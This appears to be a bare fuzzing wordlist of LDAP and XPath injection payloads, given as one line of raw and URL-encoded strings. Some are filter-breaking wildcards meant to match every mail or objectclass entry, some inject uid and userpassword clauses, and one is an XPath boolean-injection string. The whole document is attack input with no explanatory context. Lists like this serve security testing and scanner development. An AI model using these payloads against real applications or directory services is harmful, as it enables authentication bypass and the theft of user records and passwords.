! %21 %26 %28 %29 %2A%28%7C%28mail%3D%2A%29%29 %2A%28%7C%28objectclass%3D%2A%29%29 %2A%7C %7C & ( ) *(|(mail=*)) *(|(objectclass=*)) */* *| / // //* @* x' or name()='username' or 'x'='y | *()|&' admin* admin*)((|userpassword=*) *)(uid=*))(|(uid=* *()|%26'